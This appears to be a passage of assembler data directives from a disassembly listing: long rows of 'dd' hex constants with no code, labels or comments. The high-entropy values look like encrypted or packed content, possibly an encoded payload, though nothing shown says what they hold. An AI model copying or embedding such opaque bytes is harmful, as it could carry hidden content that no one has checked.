		dd 0F8831735h, 0F4C4B7C8h, 0E9F914D1h, 0FB5E7C82h, 0D701FD56h
		dd 47554C50h, 1322AB28h, 16A778B5h, 0BA0E01BDh,	19B5A130h
		dd 0BF73C205h, 4ED7D6E8h, 0F8BB01A5h, 0E929CE24h, 31158B48h
		dd 0E8A97F9Dh, 64A5F559h, 293344E9h, 0CA218538h, 0C2D2AEE2h
		dd 59829571h, 98460FE8h, 918F8400h, 424EE637h, 0D07A0097h
		dd 80A9760Ch, 0D49D95F3h, 818CC12Fh, 15FC3B19h,	0B713AE5Bh
		dd 0E3F6FBAh, 96563A32h, 0AF00E8E2h, 0D25539FFh, 350042F4h
		dd 0B85F5A70h, 932FAD0h, 39585B51h, 0F884DB71h,	0FCACCBB9h
		dd 0F2F06032h, 0B09107Fh, 46D700CFh, 43BE92ACh,	0C3007BA6h
		dd 764888C2h, 25714AFDh, 6F765217h, 0DC71AEh, 6EA7ECD8h
		dd 0F33C607Dh, 458E8024h, 2827D508h, 0DFDB0161h, 2BF8FCA6h
		dd 0B8DE69C0h, 0FA210BD4h, 9674BAE9h, 457EEFCh,	0E946FC4Bh
		dd 6AE7400Eh, 375BE6h, 5ED52280h, 0CBA2D119h, 8ECAE5Ah
		dd 0DC8702BEh, 0E6068C2Eh, 6FD903EFh, 4ADB3C08h, 3EF773A8h
		dd 29D59F07h, 0D55BFF25h, 6C5F8419h, 75142529h,	3144DC32h
		dd 503ADC04h, 8B825D1Dh, 8028D13Dh, 0D0C381F9h,	54BAAA6h
		dd 1CC8D69Ah, 73EB5AC0h, 951004B3h, 0B80BA59Bh,	1623BBDAh
		dd 0AA05E604h, 0C264B8ABh, 0E2275BDh, 12950BD6h, 3AD9B2E9h
		dd 32605E6Eh, 71AA30D6h, 3EAF7709h, 440379F8h, 0AE7BAF78h
		dd 9D095B02h, 1F5E2DCDh, 0DDF8F9E2h, 14911135h,	0E1FFE982h
		dd 1F71B7D7h, 0C1FB6F7Dh, 1DCB8100h, 977F28E0h,	0A02F0894h
		dd 0D0B3F303h, 149737ACh, 209145FAh, 149753C3h,	0F54B44FAh
		dd 746E604Bh, 0F529C500h, 9CF791CFh, 8D0F9716h,	2ED7F6CCh
		dd 9520EB5h, 447D1D19h,	41BD2265h, 0F6E38995h, 9300DCB9h
		dd 72B7E69Eh, 84C2873h,	12E99FD1h, 15D25C81h, 59F41094h
		dd 3EEE0098h, 0AE68F4B0h, 5402DD37h, 0C18D09A1h, 929A5707h
		dd 535F576Ah, 9AD37176h, 0F8DF79F0h, 25D52579h,	0F8513F76h
		dd 0D3DDF86Ah, 0F657E2B4h, 0B8B002B2h, 5190C6DBh, 81F5D9F5h
		dd 5B445ABBh, 0AD4FA50h, 134A07DCh, 1EAA7B5Fh, 7E54A3ECh
		dd 0E6E1624Bh, 0BF809768h, 289EE343h, 0D5205EB8h, 38680505h
		dd 0C1237374h, 2B5D0745h, 77C75F03h, 5F0BDA6Ch,	38CD6C64h
		dd 0FD2E0D7Dh, 956DA925h, 0DF2A9782h, 820535Fh,	6D920FD5h
		dd 0BD6FD5E5h, 0E7312EF7h, 2DEE1A17h, 0C9EF1A17h, 9CE400A1h
		dd 972F1CC4h, 7525DFF6h, 1A130E37h, 631DCD60h, 5192735Bh
		dd 532EC6E6h, 0F530B608h, 0D4DE1480h, 0E718143Ah, 0A912EFD3h
		dd 67F5E730h, 17080518h, 84E389h, 9539BF57h, 3567Ah, 520782E1h
		dd 0D1AEDA10h, 0BB43E901h, 4DA0B9A9h, 80096D26h, 0CF70D8DBh
		dd 90015BB0h, 502CA265h, 0FC3AEEB3h, 0D98B16FBh, 15ACF3B9h
		dd 0FE55018Ch, 0C7807468h, 0DB73A3h, 0A6A8CB54h, 919802h
		dd 21EE450Ah, 0CE262ACCh, 0FAD3711Ch, 54A03593h, 5783148Bh
		dd 0FB4B865Ch, 9BB25B12h, 161B6F5Bh, 89C66B10h,	59BB0253h
		dd 90433AC1h, 0E060C655h, 7CFEECF2h, 2E7E97CBh,	4599BD50h
		dd 0A5A2B823h, 0ECD2DC16h, 0D4B4D18h, 886EC48Fh, 0BCF5162Bh
		dd 0FEE8526Ah, 0C6F2730Ah, 0CCCE00E5h, 0B25B43C9h, 32DF3602h
		dd 5D240644h, 3C334A10h, 0D3465400h, 0E717AC41h, 2C8095B8h
		dd 5F5B7380h, 542FE92Ah, 60819577h, 6755DC9Dh, 7735B2F5h
		dd 0DF5E5B47h, 0ADCB3FC0h, 52E822h, 17FEB9C7h, 852947F9h
		dd 0C7286925h, 5D7818A3h, 0D17A9D2Bh, 659AE6A7h, 818E4127h
		dd 8156F27Bh, 0CF5BD29h, 89D4A23Bh, 950270DAh, 346084EFh
		dd 25D2CD33h, 7FC6D95Ch, 68D308A0h, 5650F625h, 111AF69Ch
		dd 5FD078D2h, 8CD80A53h, 9C77C17h, 0C833C131h, 4B0AED77h
		dd 0AA257AB0h, 0DCBF9400h, 9D9195E6h, 0C2810260h, 145E4D40h
		dd 4A6DBC84h, 1ACBB561h, 0C970D55Ah, 0DF0164FAh, 0F942D090h
		dd 0FD2B2C04h, 9ECD4AB7h, 321EB41h, 9D08FD2Eh, 0CFE58D97h
		dd 0A976E96Ah, 63F5706Fh, 9516016Ch, 70AB3445h,	5D9D31BEh
		dd 25BF2F4Eh, 0B9E604BFh, 0BE66000Ah, 0B761A0B7h, 73A41251h
		dd 0ED9B6225h, 908BCF7Ah, 0A51FB5F5h, 2001EF4Ch, 3A095FF1h
		dd 5C75237Bh, 0D2F4E22Ah, 0A4A31FE6h, 40A6C680h, 8E0B9005h
		dd 0B6EFCE24h, 265BF054h, 330D05DDh, 0BB21B59Dh, 5EA91849h
		dd 0D38050C5h, 6BB6575Ah, 0E8B173B4h, 0FE8B96E8h, 73F85051h
		dd 0EBFF1F41h, 7D6B61ACh, 45123492h, 0DFA23075h, 213B12FEh
		dd 0F4EE374h, 294884BFh, 49297172h, 0FF2715DEh,	4D0289B7h
		dd 796EF121h, 0B7490011h, 0CD587F5Fh, 0D5D0990Eh, 3C82BDC4h
		dd 62EB2C2Eh, 0C7927FBFh, 5BDC9D8h, 0CC913122h,	6073585Ah
		dd 4057994Bh, 7361F6F7h, 937ABB28h, 5F5DCD27h, 0B5897D98h
		dd 0DA103129h, 0D72FB742h, 0D9ED8A4Ch, 42310F19h, 3FE1B3D1h
		dd 0E0AF120h, 0D41C0B87h, 35F55FF8h, 0C020AEB9h, 58C6FA3Ch
		dd 1D12BA00h, 59950917h, 0E690952Eh, 9E955B57h,	4FED95C3h
		dd 12372D40h, 2B662C58h, 8EC78118h, 0D2E9FCA7h,	5D5542D7h
		dd 1003FDB7h, 0F4FC11B4h, 0D9914CC2h, 73732DEEh, 556EA78h
		dd 89A302F3h, 0EBD52485h, 9CA452E6h, 9C0F1748h,	161558B7h
		dd 8EE70B30h, 0D0240088h, 2C792D36h, 6B1E8B1Ch,	7782CB9Ch
		dd 0D890B544h, 88F14B5Dh, 0A34A0FD9h, 8DB4D8EAh, 0CDD1F1Dh
		dd 0EB8489FDh, 0D3827751h, 0B8749050h, 287573DCh, 2DAEFC34h
		dd 579022C1h, 0F6B57638h, 9261DEEDh, 2850F38h, 405B5311h
		dd 1A17D0B2h, 50B8D94h,	0C3645730h, 2D019D10h, 17569025h
		dd 1CE48A40h, 0C9D41383h, 0E4C8FA5Fh, 827900EBh, 5898D3AFh
		dd 650033CCh, 66AA07CAh, 5A7868BFh, 0BD87E95Fh,	0BF5A902Bh
		dd 1A340FC7h, 0DAD94856h, 0F2790C97h, 0A4D26BB6h, 89ACF88Fh
		dd 0DE8B57C2h, 82FFF175h, 24C5BD01h, 9E52582h, 56D1FF02h
		dd 0C287517Ah, 400F4F55h, 7455D39Ah, 0F3F16C01h, 26A0E27h
		dd 0CF629247h, 0C0F190h, 0B1EFC155h, 565C80EBh,	38270045h
		dd 5AEACA16h, 33E92661h, 55113AEh, 169EE092h, 0E57AA6B1h
		dd 60E0D0FAh, 51B1800Fh, 0C0BDBE81h, 0A28B61FCh, 8832EAA2h
		dd 48B7A363h, 0DD39E909h, 0DA489B1Ch, 81A34E33h, 7D9C6501h
		dd 0E9D733D6h, 78A1FDABh, 1AB8937Fh, 1CEA9CE0h,	0C5AAEDBDh
		dd 69A2FF14h, 4A39B050h, 89A5DD34h, 786BFFE2h, 0FD5A9A12h
		dd 6105B301h, 570C9F59h, 796D5FDCh, 80123E08h, 0E119B690h
		dd 0A92BBDE9h, 603BADA8h, 7838696Bh, 0A253B800h, 0F883645h
		dd 0A4D4BD8Eh, 55199AE0h, 0FF605BB2h, 0AA716A33h, 13FB7D8Ah
		dd 22199505h, 23466FABh, 0E61F0116h, 20FF6A26h,	29441DB1h
		dd 9F2CEEB5h, 1FDEBDDEh, 81912D1Eh, 0A7DC28D7h,	97612B10h
		dd 0B0020153h, 5A46FFh,	8FC1F563h, 1A2E0294h, 6ACA9600h
		dd 8B70E60Bh, 1294D9Dh,	71E4F509h, 0B1DCC3A2h, 2898A556h
		dd 95316057h, 0BF9F2075h, 2C76FE9Eh, 601F6108h,	0F0BBCE90h
		dd 0E3865C9Dh, 0E3E9AFBAh, 0E624204Fh, 0BFBDE24Ah, 0C585010Bh
		dd 17144CD5h, 0ADB52960h, 0BD27766Ch, 0C1689051h, 0AE520BBBh
		dd 0C8776B28h, 861CC546h, 0E0C82B37h, 981D2614h, 5BEFDED1h
		dd 0BCE97314h, 26FDC4FEh, 0F9C09B10h, 0CADF3E37h, 300556F4h
		dd 5F6A22Ah, 824E92D3h,	1BD5644h, 3CA7D5BFh, 4810B81Dh
		dd 51EEC0FEh, 4645A7Fh,	0EDE3E1F2h, 22C1ADCEh, 94566218h
		dd 33C02BCBh, 19D271E9h, 950171BAh, 0C9762B1Ch,	7AE3123Ah
		dd 25CEB294h
		dd 0EBEBDE51h, 883D1BD7h, 4AF50331h, 0CD8D95Bh,	0B300C0E1h
		dd 89AE426Fh, 327535h, 0F76BB492h, 80C1CC46h, 0D2924C58h
		dd 0BBDA88BFh, 40259477h, 0E4087538h, 0E8024994h, 51572D91h
		dd 0AF9045E4h, 0AC00CC7Ah, 411E529Dh, 0A105BAD1h, 8A0F2632h
		dd 77B59C62h, 0CF80AA10h, 0E3302BE9h, 90E6F381h, 0B9571379h
		dd 291E41D2h, 6F02A99Dh, 0A9BED388h, 0DB3BFCB2h, 0F37B8AFDh
		dd 0F731D989h, 47C038EDh, 4A2D1BBBh, 4A38B28Ch,	0ABD291ADh
		dd 38C112F4h, 880996BFh, 75515B3Bh, 4A4DE814h, 0B00E66A8h
		dd 6480BA40h, 73A593C2h, 0EC3D4503h, 82C402DAh,	165B5826h
		dd 0E6D22B5Fh, 0E758E033h, 4D780493h, 0BF90EA08h, 12B733D8h
		dd 0B76DE39Bh, 3119F2F7h, 69ADFCE6h, 0F18B452Eh, 352B48A6h
		dd 0CAAD0h, 0FC3A4030h,	43623127h, 1938BE90h, 0C441A5AFh
		dd 0BD231207h, 0EFD652A5h, 36C4CA9Fh, 308DEE82h, 80FF986Ah
		dd 565C9A9Dh, 0BE905600h, 0D0834325h, 0F9084A6Eh, 235E8F5h
		dd 3F2308FCh, 0D456DE8Bh, 0BF156651h, 0D7A95712h, 0C67F51C9h
		dd 0C5EF137Fh, 0AF6BAF5Fh, 0C6011823h, 0F5CF9952h, 0E1B3097Eh
		dd 0F080B637h, 0EF96B96Fh, 71951229h, 0E1CAAC25h, 75C20574h
		dd 0C4804F37h, 51675D33h, 0B8BC2536h, 9507207Fh, 13697C65h
		dd 17132C76h, 0D741AFA6h, 0CAF3805Fh, 49DE282Bh, 44A88DD3h
		dd 0B26C3112h, 50185E0h, 22C0BDDEh, 0DCFAF2FFh,	18C91304h
		dd 88FA8B4Ch, 2B905699h, 0A9072532h, 9D745560h,	0D6C502DCh
		dd 0FC6052CBh, 0D20BE8E6h, 0F7877283h, 3AFE3DE4h, 68D8DB17h
		dd 0DCBD73C3h, 0F43DB3AEh, 0C51262F6h, 549404ABh, 5635B826h
		dd 4ED0F722h, 95C1E610h, 31FC8F10h, 33CAA900h, 0B350708Bh
		dd 0E21D01FFh, 0DA7AC146h, 5B16B80h, 0AA2C442Bh, 1A233E01h
		dd 5601992Ch, 9C62E0BAh, 0C8BA9A6Bh, 9DDBC01Bh,	0D30953B7h
		dd 6AA5F7Ch, 953B14Ch, 0D54BBF66h, 3EDF29E1h, 0BEC15FECh
		dd 6B6173E0h, 14C8D29Ah, 8EE73C5h, 50131730h, 2414CCFEh
		dd 36B3A012h, 0A09FB7AAh, 0D99D798h, 78E3569Ah,	9B6E2F44h
		dd 6D6FA40Eh, 26A5B0B8h, 3E685B80h, 0D9A8615Ch,	1D192599h
		dd 0A2A32760h, 0CD26AF2Dh, 62B8C3F2h, 0BF38B6E0h, 5101101Bh
		dd 5F2CE95Eh, 0A9D1AD2Bh, 6477FC1Dh, 4B238F50h,	0BAAB85AFh
		dd 0EBA475B7h, 25D627B0h, 38C0A5B3h, 0E9802875h, 0B7015FEBh
		dd 806FA02Ch, 0DC92132Ah, 0BB0E704Bh, 0EDB5499Fh, 601B6405h
		dd 4C85B21h, 7AA52882h,	0B4E2EFC6h, 89EECC4Ah, 0E8F2B54Bh
		dd 0D4C2D825h, 0D0FD7B75h, 6F02BC5Bh, 6D80A855h, 4BECF0ECh
		dd 10D48B0Ch, 10C809C9h, 4574CC80h, 1B50A8h, 35B8EA60h
		dd 0EBBF795Eh, 313AE602h, 7509B98Dh, 1471FCFBh,	20BA5849h
		dd 4C9648FFh, 0EB4A8E3Ch, 242B2420h, 0A29F0055h, 7D08E659h
		dd 0F909B3EAh, 643FE3ABh, 247EB7CAh, 0DFD28EC0h, 965F25FEh
		dd 0DD7079F3h, 0F7D61219h, 0D1D304CBh, 0ED1F162Dh, 29FBE547h
		dd 0CF8B7519h, 0FEEBF956h, 0C368600Ah, 0E05A5D67h, 0E9506AFDh
		dd 0C19C133Ch, 0FFE9091Fh, 52920D79h, 37D52BC0h, 8590535Fh
		dd 4DEA2F00h, 87116172h, 0CB03E971h, 9A96AA6Fh,	0D85E135Dh
		dd 77C6C15Fh, 2A66E7Fh,	7060E1F0h, 88CCDF03h, 0D0819CA2h
		dd 4C6239D5h, 0B55BEB01h, 58A67B02h, 1942DCB4h,	4FEE4B00h
		dd 9411CC2h, 9BF15495h,	0DCAF9E61h, 74129B14h, 71FB2DABh
		dd 0BFDBE9A2h, 7AD7450h, 6688F071h, 0B8A8E49Bh,	8762A393h
		dd 783B5B0Bh, 472888D7h, 600BDE41h, 7B55E97Ch, 7716D829h
		dd 1DC9D99Dh, 949FC0E1h, 0B0FC7DD2h, 49320200h,	0D81DAD68h
		dd 0ACE5138Ah, 0BFC4AE3Bh, 0F5573AAEh, 1615B304h, 0FF18213h
		dd 27703D75h, 724C2AF7h, 7903C509h, 54DCC49Ah, 4BCFB301h
		dd 92C1201Bh, 790034F9h, 0DF359B45h, 21B023Bh, 2B19370Ah
		dd 0A975B5BDh, 6ACFD7FAh, 123D9BE0h, 90D39D96h,	78146404h
		dd 9E4E0FBDh, 0FE76C43Eh, 0AF198504h, 0A6DB4575h, 0FCE19181h
		dd 0C275C650h, 28377F7Dh, 0A5E7BA80h, 97890F5Fh, 0D0C22A1Ah
		dd 0F8257BDDh, 5F173270h, 1CAFD340h, 0EDE6E559h, 0C1B9F4B7h
		dd 55B37FEFh, 9A7BBAB7h, 9CF882Ch, 38DD2569h, 1805BFC3h
		dd 0E4049F09h, 0D697313Bh, 194DD461h, 98EC80F9h, 1A5FF4Bh
		dd 0AAD38127h, 2B65A785h, 8DFC0BB9h, 0B75AD800h, 70D259B6h
		dd 0E98B97F1h, 600065B7h, 0A84B9328h, 0ED5C2F26h, 0C6AF5FD9h
		dd 73B72739h, 69790642h, 44F34000h, 2DED4A21h, 0C176F9CFh
		dd 69E0BB78h, 0EED792B2h, 3A359544h, 31FF4F3Fh,	3FD8EB6Ah
		dd 6EA9F0A9h, 5B15EE60h, 0BCF05F5Ch, 55C00B30h,	0BFA0FE23h
		dd 63A4743Dh, 81F8C47Dh, 7F3041DDh, 202BAD9Dh, 51CCB6F7h
		dd 0AAA4ED2Eh, 59C8B860h, 1C64006Ch, 0DDD4E703h, 5B2E0223h
		dd 0C0253796h, 574BB69h, 0F39B2C8h, 0AF228431h,	20B58DB0h
		dd 81041615h, 45AF02DBh, 9A41CA9Dh, 7FEA47F3h, 0EC529653h
		dd 95A227B9h, 27BC8F7Ch, 3EE457h, 509B0E9h, 4FCDDE03h
		dd 9502AB79h, 8C25A4AAh, 777AD0C7h, 0F9D58205h,	40EB4846h
		dd 8B63CF81h, 50444600h, 1B1258BBh, 5CE8B54Eh, 0A82F548Eh
		dd 5570D43Dh, 0E70F4100h, 5B86C660h, 2857B0F4h,	6989D9B5h
		dd 3650FF7Bh, 0E434255Eh, 0D5D53077h, 41EE9508h, 0ED253A9Ch
		dd 0D98B091Ah, 50654A74h, 6AD9EEh, 3BF879FDh, 5AC62938h
		dd 0DDF03CB6h, 1A050CB4h, 830F015Ch, 0D4B33804h, 0CB46A2EEh
		dd 8866518Bh, 0E90318B9h, 8CFFF23Eh, 8FC0339Bh,	4F56DE6Ah
		dd 543FBA16h, 0BC00B4E2h, 0B8592C64h, 0D49F843Ah, 6101DE5Eh
		dd 0BE3779A6h, 17CCFE2Eh, 0D55748B9h, 0F0661FC0h, 2B5B81D7h
		dd 5F7249EEh, 272958AFh, 55D2235Bh, 46DA70Ah, 0C4CCF1F5h
		dd 504AAA4h, 664B0385h,	0AABD4076h, 3109A4BFh, 7216C58Dh
		dd 298A1226h, 212B221Ah, 0A5F6F975h, 0FC4064EDh, 28C02062h
		dd 94E7DF1Ch, 6CAAB014h, 845D9B8h, 49F02D36h, 5A3ECC31h
		dd 59250433h, 9F400CE8h, 0C47FFB54h, 8E65AF01h,	7B2E251Eh
		dd 0D88D2Ah, 295FF884h,	18ED9513h, 0C1BE60ABh, 602F2DA7h
		dd 6920F58Ch, 0FBB73503h, 3F8BB01Ch, 91119666h,	0EA6A5B12h
		dd 1180079Bh, 0A1351DF8h, 73485B00h, 89D1B3FEh,	2957959Dh
		dd 0E22A4D2Dh, 0F9F52C7Fh, 7AE8A521h, 1B0949D7h, 802861CBh
		dd 184E9C63h, 0E99E4E9Bh, 8C17ACCFh, 0D2EC750Fh, 54D7E645h
		dd 0B07C4F56h, 8612E397h, 689BD1FFh, 5574A84h, 38AE0CEDh
		dd 3DBFD1C5h, 90339427h, 0EA8FEAD3h, 6F026A12h,	0C00E0389h
		dd 0F8F47C3Ah, 2F3C86BBh, 8678777Fh, 3C2F8D20h,	612CF580h
		dd 60ECA6D4h, 0AC9D2EAFh, 0B87D300h, 0EA722CE7h, 94E0B012h
		dd 0F3CA425Fh, 160015C4h, 23602ADEh, 0B7107AD7h, 5C696BF4h
		dd 9A94819h, 16572FE9h,	501FBBE1h, 0A20E1211h, 44A5DD8Eh
		dd 0B2A0488Ah, 6AE9621Eh, 0EB0E160Dh, 711A5EFFh, 3B443194h
		dd 49019F6Fh, 0FC33B55Dh, 0D3B66B6Eh, 6ABDC4E1h, 57105D82h
		dd 35BF5996h, 0C0CD3D23h, 89FB844Eh, 8CBF1583h,	16006979h
		dd 90FD5449h, 0C7382Eh,	0EF1C1FFh, 0D37EBBFCh, 43F95B5Ah
		dd 0FCB37B9h, 42532515h, 77F87A3Ch, 0F990DA53h,	0A95BE9A4h
		dd 16B6BD2Fh, 60E95734h, 0FF440993h, 7EC0EBEDh,	76F1D5Ah
		dd 0E003C70Ch, 0CA5539D5h, 1051F67Dh, 1694580Ah, 7AEB2A49h
		dd 5F0473DAh, 660DF9FDh, 0BD6D98FEh, 0F7272925h, 0DE5EBEB2h
		dd 604052C4h, 0CA18D8Bh
		dd 0A60A5BB5h, 0AF21183Dh, 2BE1B061h, 91B31820h, 1E2C0913h
		dd 92DFF33Bh, 0AFB855BEh, 0DE25C991h, 61605D5Fh, 249DF98Bh
		dd 314111F4h, 8B1D5195h, 44C8B681h, 0E5890033h,	0D2991FE9h
		dd 5D0018B0h, 1ADE068Eh, 3B42CBE6h, 50CCDFF2h, 5B114072h
		dd 4E9DBA73h, 0BD1305F3h, 0C4C2886Ch, 0BB5853A2h, 13EB7BCCh
		dd 0A021D3A6h, 5FBC53F1h, 81CE7641h, 0DBD1333Fh, 3FE0DC0h
		dd 5BE60913h, 910C02B1h, 99060063h, 98EB699Bh, 0D89D5FF9h
		dd 5E07ACA5h, 33980BD1h, 2BC7C85Eh, 122335B2h, 0F550BD7h
		dd 6B176E4Ch, 6D215F1Dh, 0D0465BDh, 0AE89852Eh,	0F2006FDDh
		dd 4EE961F1h, 1673F357h, 67BEAAABh, 5D5626Fh, 246F3D39h
		dd 0B89D12D8h, 7FBBB0BFh, 958935D7h, 1460EEADh,	1F5112A6h
		dd 41F30C3Bh, 0D161B2BCh, 3B052C5Ah, 0B471CFDEh, 673A90A8h
		dd 19A572DDh, 0E0D36D55h, 74238F26h, 0E64E0203h, 5B148B27h
		dd 6118F14Ah, 70B72AB0h, 6294BA01h, 2A6168EEh, 1CA89CEDh
		dd 0E500D693h, 725B0330h, 76D2022Fh, 0E92B927h,	40F96F5Fh
		dd 0DC4E382Fh, 76512712h, 19E9FA04h, 36C1D9ABh,	0E1CB12Eh
		dd 7A2DBF4h, 0FC6DC250h, 0B7F60BB8h, 6E3D09F6h,	7502849Bh
		dd 2B072CC1h, 0F72F2D62h, 4AA1EDCCh, 3A76C9DFh,	8072CD3Dh
		dd 0BB8F4E0Fh, 0AAF125A1h, 9FD0D438h, 777D7725h, 3FED0941h
		dd 0BF97ACA8h, 88B94716h, 78C1AACh, 0FE86E03Eh,	0BEB3D4C6h
		dd 75A58BE6h, 4500AB4Ch, 39F3A3E6h, 0DF7702A1h,	2F05B531h
		dd 7A96D955h, 0FE2906C2h, 0DF493F76h, 0FC8A1DB8h, 9C8A5F4Eh
		dd 21AA6422h, 6AB8F749h, 9000997Eh, 75E63C45h, 1B02F325h
		dd 0F18D29E5h, 0AD735F20h, 70113BEh, 96AD8FFAh,	0FE66AA70h
		dd 0BD0813A6h, 849AA203h, 512047Eh, 0AE4EF22Ch,	6E4A62DAh
		dd 2A610962h, 467ED1F5h, 8B2F5727h, 0CB7F7F8h, 30983B00h
		dd 9FDC2F1Ch, 1E6A0DE2h, 0D325385Eh, 9258708Bh,	0E4BBD200h
		dd 4EEBD781h, 9DA6CF5Ch, 475D020Bh, 0D4D3E9D8h,	0EFEB3600h
		dd 300F23BBh, 521D0882h, 4D4F9509h, 885E84E9h, 1F00B178h
		dd 0FD3188D1h, 1B81E6Bh, 28A9EF89h, 6E81C292h, 5BB9DF04h
		dd 892252E9h, 0ADE5B2C8h, 0B5D6D15Ch, 0C61817B0h, 1509E830h
		dd 0E23D9C25h, 0BDD2BD54h, 7B018B90h, 5B316896h, 611014E9h
		dd 64010684h, 9ABBE8DEh, 0AA2B0440h, 0EAF5BD30h, 451A9D7Bh
		dd 1040687Eh, 7C67C673h, 8B0BA830h, 9523007Eh, 0F7810BACh
		dd 0F01240B6h, 88FA5B30h, 8A80DAA3h, 0D87A9FD9h, 0C2B09B7Fh
		dd 290A1125h, 1FA55538h, 73A6AB6Ah, 2FFA37E0h, 0C7228A04h
		dd 6881E4C9h, 9B62BD2Bh, 2527ED49h, 0E1D9EDFh, 5B5350D9h
		dd 5F5261B8h, 0D81D92F7h, 0F558AF21h, 0B2A1B62Ah, 0CE75311Dh
		dd 4E83EC57h, 2E1C8D3Ch, 904525C4h, 0F0E28D0Fh,	0D7E9F004h
		dd 0C77CDE01h, 0EA40E11Eh, 4FC80E45h, 0FBD9345Fh, 6C0043CAh
		dd 0AB23D44Dh, 9F171B7Dh, 0D5095FE8h, 5E7F0995h, 5342C0B8h
		dd 6C09B58Ch, 0D8612640h, 0F2D6BF7Bh, 0F04A2010h, 0D39D91DDh
		dd 1064D820h, 89F2BC16h, 9E1102E0h, 0EB66C0CBh,	790005FFh
		dd 0B3704494h, 9213E31Fh, 1E12503h, 15C34D1h, 3F67CBE1h
		dd 19E578FBh, 8FA50121h, 8F7B4818h, 173D2E3Ch, 2DF0A997h
		dd 0B00C4745h, 5BA99B7h, 0E215F8D9h, 92F0EBCEh,	941C42ADh
		dd 3B5102Ah, 0B83CC44Bh, 0DE0769CCh, 0E889AD7Eh, 0CDB93218h
		dd 28F4F001h, 1DF3A737h, 975B5374h, 8477FC9Ah, 68001733h
		dd 7C373FD6h, 9E409196h, 61D49Bh, 181D6DE3h, 32EA9240h
		dd 283E51F2h, 3C999A6Ah, 0B8507783h, 7CFC2979h,	0C272FE9Dh
		dd 8DFC1675h, 74B11F42h, 2D026923h, 7D091DF1h, 15707632h
		dd 6902604Bh, 619F1BDh,	75971461h, 0AEF9BFA4h, 0B76AC2C9h
		dd 77A7A0FFh, 62677B15h, 61DFD858h, 0E02B7F7h, 5881B195h
		dd 2A37165Fh, 6FE960F9h, 0E95F3BF7h, 71F5C969h,	351746EEh
		dd 0A83359B7h, 1A352D25h, 84069AF5h, 0FA527DAEh, 2EEDA4DAh
		dd 0A8259860h, 0E08C2630h, 0ED07DEFEh, 65D3AA5Ah, 0B0445430h
		dd 505125DAh, 5B6443DEh, 224FCBABh, 1F89B0D7h, 0A921DC40h
		dd 3C462D9h, 1F48FD4h, 0B5111FF1h, 63D2ED5Fh, 2F5801F7h
		dd 18422978h, 1A1DF541h, 0BB665F00h, 5EB31B2Fh,	6B00551Dh
		dd 9F971D4h, 0A84C97CCh, 17E2DF46h, 2FF36D30h, 0DE894543h
		dd 1BCE371h, 6B2E4866h,	43EA8B3h, 0D5A49C24h, 0C5D59B86h
		dd 0E6AB41C4h, 32DCB4C8h, 0A0C402A2h, 40D9B2E4h, 84407177h
		dd 291CC5B5h, 829AA87Ah, 5D86CB80h, 2FFA7431h, 9CFC9C35h
		dd 8A7E0820h, 0FEE87CBDh, 4B45F1BFh, 7F2130D5h,	0F2745AA7h
		dd 0EFBB09FBh, 0BD5B788Bh, 46C15ECDh, 0BA2BF49Dh, 4A8DAC25h
		dd 9137A30h, 77F34130h,	0C7A46C7Bh, 837B12D6h, 58B0BA65h
		dd 44B009BBh, 6E79705Ch, 81BD0385h, 2B6FC9AFh, 15238A6Bh
		dd 53EA80Bh, 0E5EC518Eh, 0AB1974D2h, 0FDA45FB6h, 0BF938048h
		dd 5A337F37h, 0D0458C6Ah, 0F1994C00h, 0CCBC4AF6h, 51A00277h
		dd 909A6B59h, 381718h, 74F779E6h, 14BAA2C6h, 5BD0FD12h
		dd 2515A551h, 524EF520h, 0CC98634Bh, 59952A29h,	23DBBDA3h
		dd 9519F0C9h, 1DCE65Eh,	823285D7h, 7E8D897Ah, 962DFAA8h
		dd 0AD0031F1h, 32ABA2F1h, 53FB1238h, 0B0C5FF17h, 0D71D3430h
		dd 0BC71EC4h, 9A74AFA7h, 60539641h, 0D54888DDh,	0F75B5A61h
		dd 5851281h, 854B71F7h,	0D1A7AE40h, 0F2EB7BF0h,	0E6ABB725h
		dd 6C14976Fh, 5534796Bh, 7581D437h, 15ABBBB7h, 7B989D2Eh
		dd 0B48134DAh, 49820F78h, 44D5DAAEh, 0B3F84BAAh, 0EFF5A43h
		dd 0E3C08FA9h, 0C00DDB15h, 4F2B030Bh, 40535839h, 0C65E5B16h
		dd 25FBB764h, 807BAE66h, 97001D23h, 1FF0715h, 0EE1FEA3Fh
		dd 27E9257Fh, 0BFF67C5Eh, 8C1270ECh, 95873691h,	0E280C123h
		dd 59DE577Eh, 0BBB097D4h, 1B056BE8h, 96415DFDh,	0CAA08FFh
		dd 0C2A2FE25h, 49759501h, 0DB3B6A04h, 5D4CCBEEh, 7725C03Dh
		dd 0F951C8EAh, 278A0200h, 128507Fh, 0CE2B3463h,	40D06D1Ch
		dd 1A39CD8Dh, 78A17BB5h, 0B24C9190h, 25FD130Eh,	0D3DE8FFAh
		dd 5ED471BFh, 0DDFA21CEh, 0A7600301h, 7D023D72h, 891A83EEh
		dd 5675ED95h, 2544AF66h, 0D729854Ch, 0BB6640BFh, 2FB711E3h
		dd 0DF3412D6h, 0AB4EB0ABh, 7D5B8F25h, 803EA7E6h, 96CE6DDFh
		dd 0E72D522Bh, 60FAA0C5h, 25430293h, 9EB3C1B1h,	51F6537Fh
		dd 2F9B581Dh, 0ED4F1F00h, 77F89B82h, 30BE4EDCh,	85BD2B0Ch
		dd 88F8085Eh, 0A84AADB5h, 17FA7580h, 6FD1FF8Bh,	0BF140013h
		dd 0DB32345Ch, 7511BF50h, 2E58C44Ah, 0D3523000h, 730D342Dh
		dd 330604ADh, 0BC11FD07h, 2A4DA2C7h, 5C908CAh, 4D026A09h
		dd 0EE78C028h, 8305F2DEh, 0F88BB452h, 0E17F7EA5h, 7BAC3B29h
		dd 0AFD4ABA4h, 3860B6EFh, 4BE9C001h, 1043CE92h,	15F839D7h
		dd 4A37028Ch, 0A5BD3356h, 5BA5847Fh, 46F6EBBh, 8E601FBAh
		dd 4AA43BCh, 50F0B74Ch,	0B33431ABh, 0AE7B7E90h,	0EEFFAE00h
		dd 0A4F279FBh, 0F5BF0F27h, 0FA5C2CB2h, 9BBB1013h, 7CA6D692h
		dd 51537D01h, 3A7718AAh, 0DCA92D05h, 27F9ECA1h,	0EDB8C307h
		dd 655E6182h, 0C6D78161h, 7D3B71FCh, 0D0849F6Ah, 0A9B54223h
		dd 0B7F35F33h, 1669C978h, 12778DD9h, 2706E670h,	70C3C6F6h
		dd 8D2918B0h, 70E67D1Dh, 2540B5B4h, 1829467Ah, 32CFC9B0h
		dd 0E4245FFBh, 2D095C71h, 7399571Dh, 0DA2D52C9h, 423AF155h
